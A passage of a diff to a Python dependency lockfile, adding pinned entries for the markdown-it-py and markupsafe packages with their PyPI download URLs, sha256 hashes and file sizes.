"sha256:7da13bb6fbadfafb474e0226a30570a3445cfd47c86296f2446dafbd77079ace", size = 3508860, upload-time = "2026-04-18T04:32:48.619Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, + { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, + { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, + { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, + { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, + { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, + { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, + { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, + { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, + { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" }, + { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" }, + { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" }, + { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" }, + { url = "https://files.pythonhosted.org/packages/0f/62/d9c46a7f5c9adbeeeda52f5b8d802e1094e9717705a645efc71b0913a0a8/markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19", size = 14572, upload-time = "2025-09-27T18:36:28.045Z" }, + { url = "https://files.pythonhosted.org/packages/83/8a/4414c03d3f891739326e1783338e48fb49781cc915b2e0ee052aa490d586/markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01", size = 15077, upload-time = "2025-09-27T18:36:29.025Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/893072b42e6862f319b5207adc9ae06070f095b358655f077f69a35601f0/markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c", size = 13876, upload-time = "2025-09-27T18:36:29.954Z" }, + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = 